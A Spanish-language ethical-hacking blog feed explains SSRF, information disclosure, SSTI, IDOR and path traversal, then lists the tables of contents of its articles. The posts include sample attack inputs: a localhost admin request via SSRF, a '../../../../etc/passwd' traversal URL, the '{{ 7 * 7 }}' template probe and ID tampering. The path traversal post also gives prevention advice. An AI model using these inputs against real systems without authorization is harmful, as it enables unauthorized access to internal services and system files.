Esta vulnerabilidad que permite a un atacante aprovecharse de un servidor vulnerable para enviar solicitudes HTTP, es decir, peticiones web desde ese servidor vulnerable a otros recursos, ya sean internos o externos.

En lugar de enviar una solicitud directamente desde su equipo, el atacante “convence” al servidor para que lo haga por él. Esto le da la capacidad de interactuar con recursos internos que normalmente no son accesibles desde el exterior, como equipos internos, APIs protegidas o incluso el propio servidor.

Cómo funciona la vulnerabilidad SSRF

La vulnerabilidad SSRF generalmente se suele ver en aplicaciones que aceptan una URL como parámetro de entrada y la utilizan para recuperar datos sin validar adecuadamente la entrada. Un escenario común es una web que permite a los usuarios ingresar una URL para mostrar una imagen o importar contenido desde otro sitio.

GET /fetch?url=https://rinku.tech/image.jpg

Si el servidor toma ese valor y lo usa internamente para hacer una solicitud, el atacante puede manipular esa URL para redirigirla hacia un destino malicioso o interno, como:

GET /fetch?url=http://localhost:8080/admin

Esto puede permitir al atacante:

Enumerar puertos abiertos y servicios internos.
Leer archivos locales (si se usa el esquema file://).
Obtener información sensible de archivos
En algunos casos, ejecutar comandos si se combina con otras vulnerabilidades.

Qué impacto tiene la vulnerabilidad

El impacto de un SSRF puede ir desde el reconocimiento interno hasta la ejecución de código remoto, dependiendo del contexto de la aplicación y la infraestructura, así que el impacto depende de hasta donde consigamos elevar la vulnerabilidad.

El impacto que podemos

Reconocimiento interno: Permite mapear la red interna, identificar servicios y planificar futuros ataques.
Acceso a servicios internos: En entornos de microservicios o nubes privadas, los servicios internos no están expuestos públicamente, pero con SSRF puede acceder a ellos.
Robo de metadatos en nubes: Las plataformas cloud como AWS, GCP y Azure exponen información sensible (tokens temporales o credenciales) a través de URLs locales. Por lo tanto, gracias al SSRF, podríamos acceder a esta información.
Salto hacia otros vectores: SSRF puede usarse como pivote para explotar otras vulnerabilidades internas, como inyecciones, configuraciones inseguras o servicios sin autenticación. Aquí es donde entra en juego la mentalidad de hacker.
Denegación de servicio: Es posible realizar ataques de tipo loop (self-requests) o consumo excesivo de recursos. Qué básicamente significa realizar peticiones internas de forma masiva para aumentar el consumo de recursos. Esto se traduce en un aumento de la factura a final de mes, un aumento bastante considerable, créeme.

Bien, ahora que ya conoces como funciona esta vulnerabilidad, te dejo el tutorial para que aprendas a explotarla en un laboratorio práctico

Únete a CiberInsider y prepárate para dar el primer paso a conseguir tu empleo en ciberseguridad

Al suscribirte, aceptas la política de privacidad de rinku.tech y recibir noticias, contenidos, comunicaciones relacionados con la web, gratuitos y premium.

Information disclosure: qué es y cómo funciona

webmaster — Sun, 04 May 2025 16:00:00 +0000

Cuando comencé en el mundo del hacking, pensaba que para “hackear” una aplicación web era necesario explotar fallos complejos como inyecciones SQL, vulnerabilidades XSS o bugs difíciles de reproducir. Y nada más lejos de la realidad. Con el tiempo descubrí que uno de los errores más comunes y peligrosos es simplemente encontrar información sensible. Literalmente. Una mala gestión de errores, un archivo olvidado en el servidor, un comentario en el código fuente… pueden revelar más de lo que imaginas. Y a veces, esa pequeña “filtración” de información es todo lo que un atacante necesita para comprometer toda una infraestructura. Esta vulnerabilidad se conoce como information disclosure y en este vídeo voy a explicarte qué es, cómo funciona y aprenderás a explotarla en un laboratorio práctico. Antes de comenzar, es necesario que conozcas…

Qué es la vulnerabilidad information disclosure

La vulnerabilidad information disclosure ocurre cuando una aplicación web revela, de forma accidental o innecesaria, datos sensibles que deberían permanecer ocultos. Esta información puede ser expuesta a través de mensajes de error mal gestionados, respuestas del servidor mal configuradas, archivos olvidados o comentarios en el código fuente. No se trata solo de contraseñas o claves privadas, aunque eso también sucede, sino de cualquier detalle que pueda ayudar a un atacante a comprender la estructura interna del sistema: versiones de software, rutas de directorios, nombres de usuarios, tokens, lógica de negocio, entre otros.

Cómo funciona la vulnerabilidad information disclosure

Esta vulnerabilidad suele aprovechar una falta de control en cómo la aplicación maneja sus respuestas ante entradas inesperadas o fallos internos. Algunos ejemplos pueden ser:

Mensajes de error detallados: Cuando una excepción no es manejada adecuadamente, el sistema puede devolver trazas completas del stack (stack traces) revelando nombres de archivos, clases y configuraciones internas.
Encabezados HTTP excesivamente informativos: Servidores web o aplicaciones que indican versión exacta del software, lenguaje o framework utilizado.
Archivos de respaldo o configuración expuestos: Por ejemplo, .git, .env, backup.zip, config.old, etc.
Comentarios en el código fuente HTML: Desarrolladores que dejan notas visibles que revelan rutas internas o funciones aún no publicadas. Esto lo suelo ver cuando las personas desarrollan apps con IA, que dejan comentado cual es el usuario y la contraseña

Qué impacto tiene la vulnerabilidad information disclosure

El principal riesgo de esta vulnerabilidad es que, por sí sola, puede no parecer crítica. Pero proporciona a los atacantes el contexto necesario para planear ataques más sofisticados. Los posibles impactos incluyen:

Identificación de versiones vulnerables de software.
Descubrimiento de endpoints no documentados o internos.
Exposición de secretos que comprometen otras capas del sistema (como claves privadas o tokens de acceso).
Mayor efectividad en ataques dirigidos como fuzzing, brute force o explotación de lógica de negocio.

Además, en entornos regulados (como PCI-DSS o GDPR), la divulgación de información sensible puede significar multas significativas por incumplimiento normativo. La primera vulnerabilidad que reporté en un programa de bug bounty fue un information disclosure y aunque no tenía impacto directo para el negocio, ellos marcaban esta información como confidencial o secreta. Y literalmente, encontré esta información de forma accidental buscando por Google. Ahora que ya conoces cómo funciona la vulnerabilidad, vamos a realizar el laboratorio práctico.

Únete a CiberInsider y prepárate para dar el primer paso a conseguir tu empleo en ciberseguridad

Al suscribirte, aceptas la política de privacidad de rinku.tech y recibir noticias, contenidos, comunicaciones relacionados con la web, gratuitos y premium.

Server Side Template Injection (SSTI): qué es y cómo funciona

webmaster — Sun, 27 Apr 2025 16:00:00 +0000

4 llaves ({{}}) pueden darle a un hacker el control total de un servidor. Suena absduro, ¿verdad? Pero eso es exactamente lo que puede ocurrir con la vulnerabilidad Server-side template injection. Solo hace falta una línea, una expresión inofensiva en apariencia, y el servidor hará exactamente lo que el atacante le pida. Desde resolver una operación matemática hasta ejecutar un comando a nivel del sistema. En este artículo, te explicaré qué es, cómo funciona y aprenderás a explotarla en un laboratorio práctico.

¿Qué es el SSTI o Server-side template injection?

Server-Side Template Injection (SSTI) es una vulnerabilidad que ocurre cuando una aplicación web permite que la entrada de un usuario se inserte de forma insegura dentro de una plantilla que será procesada en el servidor. Esto significa que, en lugar de tratar el dato como texto, el servidor lo interpreta como código. Para que puedas entenderme: Imagina que estás en una red social y puedes editar tu biografía. En el backend, el desarrollador usa una plantilla para mostrar tu perfil. Ahora tú como usuario, escribes tu biografía. Hasta ahí, todo bien. El servidor remplaza la plantilla por el texto que tu has introducido en tu biografía. Si el servidor, no gestiona correctamente la entrada del usuario, este, puede ser tratado como código en vez de texto. ¿Resultado? Dile adiós a tus datos. Esta vulnerabilidad no depende de un lenguaje en particular. Aunque es muy común en entornos Python con motores de plantillas como Jinja2 (usado en Flask o Django), lo que tienen en común todos estos entornos es que usan plantillas para construir contenido dinámico.

¿Cómo funciona el SSTI?

Vale, pero cómo funciona realmente esta vulnerabilidad. Vamos a lo esencial: las plantillas son archivos que combinan contenido estático con partes dinámicas. Un ejemplo clásico sería:

Hola, {{ username }}

Aquí, el valor de username se reemplaza en tiempo real por el nombre del usuario. Esto es completamente seguro… siempre que ese valor venga del servidor, no del usuario. El problema surge cuando el contenido dinámico es controlado por el usuario y se evalúa dentro de la plantilla. Imagina que alguien escribe esto en un formulario:

{{ 7 * 7 }}

Y la aplicación, sin filtros, responde con:

Eso significa que el motor de plantillas está evaluando expresiones del usuario. Y si puede hacer eso… puede hacer mucho más. Por ejemplo, acceder a funciones internas del sistema, mostrar archivos del servidor o ejecutar comandos. ¿Cómo lo logran los atacantes? A través de técnicas como el encadenamiento de objetos (object traversal), acceso a clases base, y uso de lo que se conoce como gadgets: fragmentos de código ya disponibles en la aplicación o en bibliotecas del lenguaje, que se pueden aprovechar para ejecutar instrucciones maliciosas.

Ejemplo real de SSTI

He visto esta vulnerabilidad tanto, durante la preparación de certificaciones como el eCPPTv2 o el eWPTXv2, como también en un caso real. En una auditoría, me encontré con una funcionalidad que generaba PDFs personalizados a partir de datos que el usuario podía introducir. Lo interesante es que esos datos se procesaban como plantillas, y se renderizaban en tiempo real dentro del PDF. Decidí probar una expresión como {{ 7 * 7 }}… y la respuesta fue “49”. Eso confirmó que el motor de plantillas estaba ejecutando código en el servidor. Aunque no llegué a escalarlo a una ejecución remota de comandos (RCE), sí pude confirmar que existía una SSTI: el servidor evaluaba expresiones, y eso me daba cierto grado de interacción con el entorno. Algo que me ayuda a averiguar si existe un SSTI, es entender cómo la aplicación genera la información que vemos por pantalla. Ya sea en un PDF, tu biografía o tu nombre de usuario.

Impacto de la vulnerabilidad SSTI

El impacto de una SSTI, como siempre, depende del contexto y del alcance, pero normalmente suele ser alto o incluso crítico. No estamos hablando solo de inyectar texto o alterar el diseño de una página; estamos hablando de un posible acceso completo al servidor. Algunas consecuencias posibles son:

Ejecución remota de comandos (RCE): el atacante puede ejecutar código a nivel de sistema.
Exfiltración de información sensible: Mostrar contenido crítico del sistema como contraseñas.
Persistencia: puede instalar backdoors o herramientas de administración remota.
Movimiento lateral: si el servidor comprometido tiene acceso a otras partes de la infraestructura, el atacante puede avanzar y comprometer más sistemas.

Ahora que ya conoces cómo funciona la vulnerabilidad, vamos a realizar un laboratorio práctico:

Únete a CiberInsider y prepárate para dar el primer paso a conseguir tu empleo en ciberseguridad

Al suscribirte, aceptas la política de privacidad de rinku.tech y recibir noticias, contenidos, comunicaciones relacionados con la web, gratuitos y premium.

Insecure Direct Object Reference (IDOR): qué es y cómo funciona

webmaster — Wed, 23 Apr 2025 05:16:29 +0000

En este video te voy a explicar qué es, cómo funciona y su explotación en un laboratorio práctico. Quédate hasta el final, porque entender IDOR te puede ahorrar millones… o ganarlos si sabes reportarlo bien. Como siempre, lo primero es entender el término.

¿Qué es IDOR (Insecure Direct Object Reference)?

IDOR es una vulnerabilidad web que ocurre cuando una aplicación permite el acceso directo a objetos internos como archivos, registros o identificadores de usuarios, sin verificar adecuadamente si el usuario tiene autorización para hacerlo. Esta vulnerabilidad es común en aplicaciones que utilizan parámetros en la URL o en formularios para identificar recursos. Si no se implementan controles de acceso, un atacante puede manipular esos parámetros para acceder a datos de otros usuarios. IDOR, forma parte de la vulnerabilidad Broken access control o control de acceso roto. Una de las vulnerabilidades web más comunes y críticas. Y no es de extrañar, porque…

Cómo funciona IDOR

IDOR permite a un atacante acceder a información o funciones que no debería poder ver o ejecutar, simplemente cambiando el valor de un identificador en una solicitud. Por ejemplo, si un usuario autenticado puede acceder a sus facturas mediante una URL como /factura/1001, un atacante podría probar con /factura/1002 y ver la factura de otro usuario si no hay control de autorización.

Casos comunes de IDOR

1. Acceso a perfiles de otros usuarios

Una plataforma permite ver el perfil de usuario mediante una URL como: https://rinku[.]tech/perfil?usuario_id=1023 Si la aplicación no valida que el usuario actual tiene permiso para ver ese perfil, un atacante puede cambiar el valor del parámetro usuario_id a otro número (usuario_id=1024, usuario_id=1025, etc.) y acceder a los perfiles de otros usuarios. Esto puede revelar información personal como nombre, correo, dirección o incluso datos bancarios, dependiendo del sistema.

2. Descarga de archivos privados

Una aplicación de almacenamiento permite descargar archivos mediante una URL como: https://rinku[.]tech/descargar?archivo_id=789 Si no hay una validación en el backend que compruebe que ese archivo pertenece al usuario actual, basta con modificar el archivo_id para acceder a documentos de otras personas. Esto es especialmente grave si se trata de contratos, identificaciones, recibos o cualquier documento sensible.

3. Cambios no autorizados en pedidos o reservas

En una tienda online un usuario puede ver el estado de su pedido con una URL como: https://tienda[.]com/pedido?pedido_id=5566 Un atacante puede modificar el valor del parámetro y obtener información de otros pedidos —como direcciones de envío, productos comprados o datos de facturación—. En algunos casos mal implementados, incluso puede modificar o cancelar pedidos de otros usuarios.

¿Qué impacto tiene la vulnerabilidad IDOR?

IDOR puede ser una vulnerabilidad crítica porque su explotación es simple y sus consecuencias pueden ser devastadoras. A diferencia de otras vulnerabilidades más técnicas, un atacante no necesita herramientas sofisticadas para llevar a cabo un ataque IDOR. Basta con observar cómo se estructuran los parámetros y probar diferentes valores. Esta facilidad de explotación, combinada con la posibilidad de acceder a datos sensibles como información personal, financiera o médica, hace que esta vulnerabilidad represente un riesgo significativo para la seguridad de aplicaciones web. En muchas ocasiones, se confía en la interfaz de usuario o en métodos superficiales de validación, lo que deja la lógica del servidor expuesta. Su persistencia en el OWASP Top Ten demuestra que sigue siendo una de las vulnerabilidades más comunes y peligrosas en aplicaciones web.

Únete a CiberInsider y prepárate para dar el primer paso a conseguir tu empleo en ciberseguridad

Al suscribirte, aceptas la política de privacidad de rinku.tech y recibir noticias, contenidos, comunicaciones relacionados con la web, gratuitos y premium.

Path Traversal: Vulnerabilidad, ejemplos reales y cómo explotarla

webmaster — Sun, 13 Apr 2025 16:00:00 +0000

Con solo cambiar una parte de la URL, un atacante podría acceder a los archivos más sensibles de tu servidor. Esta vulnerabilidad se conoce como path traversal, una vulnerabilidad tan simple como peligrosa, presente en miles de aplicaciones web.

En este artículo, voy a explicar qué es la vulnerabilidad path traversal, cómo funciona, ejemplos reales y cómo puedes explotarla en un laboratorio práctico.

¿Qué es Path Traversal o Directory Path Traversal?

Primero, es necesario que conozcas qué es el path traversal.

Esta vulnerabilidad ocurre cuando una aplicación permite que los usuarios especifiquen rutas de archivos sin una validación estricta. Utilizando secuencias como ../, los atacantes pueden navegar hacia directorios superiores desde el punto de inicio. Esto les permite acceder a archivos confidenciales, como los archivos de configuración del servidor o archivos subidos por otros usuarios.

Cómo funciona un ataque de Path Traversal

El funcionamiento de esta vulnerabilidad es muy simple: un atacante identifica un punto de entrada en la aplicación que permite especificar un archivo, como un parámetro en una URL:

https://rinku.tech/descargar?archivo=report.pdf

Al manipular el parámetro archivo, el atacante puede intentar acceder a otros archivos del sistema, tratando de visitar archivos fuera de su alcance:

https://rinku.tech/descargar?archivo=../../../../etc/passwd

Si la aplicación no valida correctamente la ruta, el servidor devolverá el contenido del archivo solicitado. Esto puede incluir contraseñas, configuraciones o claves de acceso.

Básicamente, estamos moviéndonos entre las carpetas superiores gracias a ../ y accediendo al archivo /etc/passwd, el cual debería estar fuera de nuestro alcance desde un principio.

Directory traversal vs local file inclusion (LFI)

En ocasiones se suele confundir estas dos vulnerabilidades, LFI y Path Traversal.

Aunque comparten similitudes, path traversal y local file inclusion (LFI) son vulnerabilidades diferentes.

LFI permite a un atacante incluir archivos locales dentro de la salida de una página, lo que a menudo lleva a la ejecución de código malicioso.
path traversal, en cambio, se limita a leer archivos fuera del directorio autorizado.

Para que me entiendas:

La vulnerabilidad LFI permite ejecutar archivos del sistema.
path traversal únicamente te muestra el contenido del archivo fuera del directorio en el que estás; no lo ejecuta.

Diferencias entre path traversal y absolute path traversal

Además, existen dos tipos de path traversal: el tradicional y el absolute path traversal.

La diferencia clave entre ambas técnicas está en el tipo de ruta utilizada:

Path traversal tradicional emplea rutas relativas como ../../ para subir directorios.
Absolute path traversal utiliza rutas absolutas desde la raíz del sistema, como /etc/passwd.

Habrá ocasiones en las que no podamos viajar hacia otros directorios con ../, pero indicando la ruta completa conseguiremos visualizar el contenido que queremos.

Impacto de la vulnerabilidad Path traversal

Si hablamos del impacto de esta vulnerabilidad, puede ser crítico. Un atacante podría leer archivos de configuración, credenciales, claves privadas o incluso scripts internos del servidor. Esto no solo expone información sensible, sino que además puede abrir la puerta a ataques más graves, como ejecución remota de código o escalada de privilegios.

Si la aplicación se ejecuta con permisos elevados, el acceso podría extenderse a todo el sistema. En entornos compartidos, incluso podría afectar a otros usuarios o aplicaciones alojadas en el mismo servidor. Por esta razón, el Path Traversal está clasificado como una vulnerabilidad de alto riesgo por OWASP.

Cómo prevenir un ataque de path traversal

Prevenir esta vulnerabilidad requiere una combinación de buenas prácticas, configuración segura del servidor y controles de acceso adecuados.

Validación estricta de entradas: Nunca concatenes rutas con entradas del usuario sin verificarlas previamente. Usa listas blancas de archivos permitidos.
Normalización de rutas: Utiliza funciones seguras como realpath() en PHP o Path.resolve() en Node.js para asegurarte de que la ruta resultante esté dentro de un directorio permitido.
Restricción de acceso: Limita los permisos del servidor y de las aplicaciones para que solo puedan acceder a directorios específicos. Siempre ejecuta procesos con el menor privilegio posible.
Manejo de errores seguro: Evita mostrar rutas absolutas o detalles del sistema en los mensajes de error. Esto puede dar pistas innecesarias al atacante.

Estas medidas son generales, y como siempre, todo depende del objetivo y el enfoque que la aplicación necesite.

Ahora que ya conoces cómo funciona la vulnerabilidad path traversal, ¡comenzamos con el laboratorio práctico del path traversal:

Únete a CiberInsider y prepárate para dar el primer paso a conseguir tu empleo en ciberseguridad

Al suscribirte, aceptas la política de privacidad de rinku.tech y recibir noticias, contenidos, comunicaciones relacionados con la web, gratuitos y premium.

RINKU | Hacking ético desde Ø

Cómo conseguir tu primera certificación en ciberseguridad (y cuál elegir)

Cómo conseguir tu primera certificación en ciberseguridad (y cuál elegir)

Índice

Qué son las certificaciones en ciberseguridad y por qué importan

¿Son obligatorias para trabajar en ciberseguridad?

Beneficios y desventajas de obtener certificaciones de ciberseguridad

Beneficios: reputación, conocimientos y acceso a oportunidades laborales

Desventajas: costes, renovaciones y “negocio” detrás de los exámenes

Cómo elegir tu primera certificación en ciberseguridad

Mi experiencia con las certificaciones y qué camino tomé

Las certificaciones más populares en ciberseguridad para comenzar

eJPTv2

OSCP

Security+

BTL1

Otras opciones: Tryhackme, Hack The Box, etc

Cómo conseguir tu primer trabajo en ciberseguridad

Curso Analista de Seguridad (SOC Analyst) gratuito en español

Curso Analista de Seguridad gratuito en español

¿Siguiente paso para aprender hacking ético y ciberseguridad?

En qué consiste el trabajo de un SOC analyst.

Tipos de alertas más comunes en un SOC

1. Phishing

2. Intentos de acceso no autorizado

3. Actividad maliciosa en endpoints

4. Tráfico anómalo en la red

Cómo gestionar un phishing en un SOC

Tutorial Ligolo-ng: Cómo crear túneles y hacer pivoting

Índice

Qué es el pivoting en hacking

Qué hace diferente a Ligolo-ng

Tutorial de Ligolo-ng

Descargar Ligolo NG

Transferimos el agente a la máquina intermedia

Establecer el Túnel Ligolo

Crear interfaz TUN en Kali

Redirección de puertos con Ligolo

HTTP Request Smuggling: qué es y cómo funciona

Índice

Qué es la vulnerabilidad HTTP request smuggling

Cómo funciona la vulnerabilidad HTTP request smuggling

Tipos de HTTP Request Smuggling

Qué impacto tiene la vulnerabilidad

1. Secuestro de sesión (Session Hijacking)

2. Bypass de controles de acceso

3. SSRF (Server Side Request Forgery)

4. Ataques de desincronización

Cómo prevenir la vulnerabilidad HTTP request smuggling

Cómo se explota la vulnerabilidad HTTP request smuggling

Cross-origin resource sharing (CORS): qué es y cómo funciona

Índice

Qué es la vulnerabilidad CORS

Cómo funciona la vulnerabilidad CORS

Qué impacto tiene la vulnerabilidad

Cómo explotar la vulnerabilidad CORS.

Server-Side Request Forgery (SSRF): qué es y cómo funciona

Índice

Qué es la vulnerabilidad SSRF

Cómo funciona la vulnerabilidad SSRF

Qué impacto tiene la vulnerabilidad

Information disclosure: qué es y cómo funciona

Índice

Qué es la vulnerabilidad information disclosure

Cómo funciona la vulnerabilidad information disclosure

Qué impacto tiene la vulnerabilidad information disclosure

Server Side Template Injection (SSTI): qué es y cómo funciona

Índice

¿Qué es el SSTI o Server-side template injection?

¿Cómo funciona el SSTI?

Ejemplo real de SSTI

Impacto de la vulnerabilidad SSTI

Insecure Direct Object Reference (IDOR): qué es y cómo funciona

Índice

¿Qué es IDOR (Insecure Direct Object Reference)?

Cómo funciona IDOR

Casos comunes de IDOR

1. Acceso a perfiles de otros usuarios

2. Descarga de archivos privados

3. Cambios no autorizados en pedidos o reservas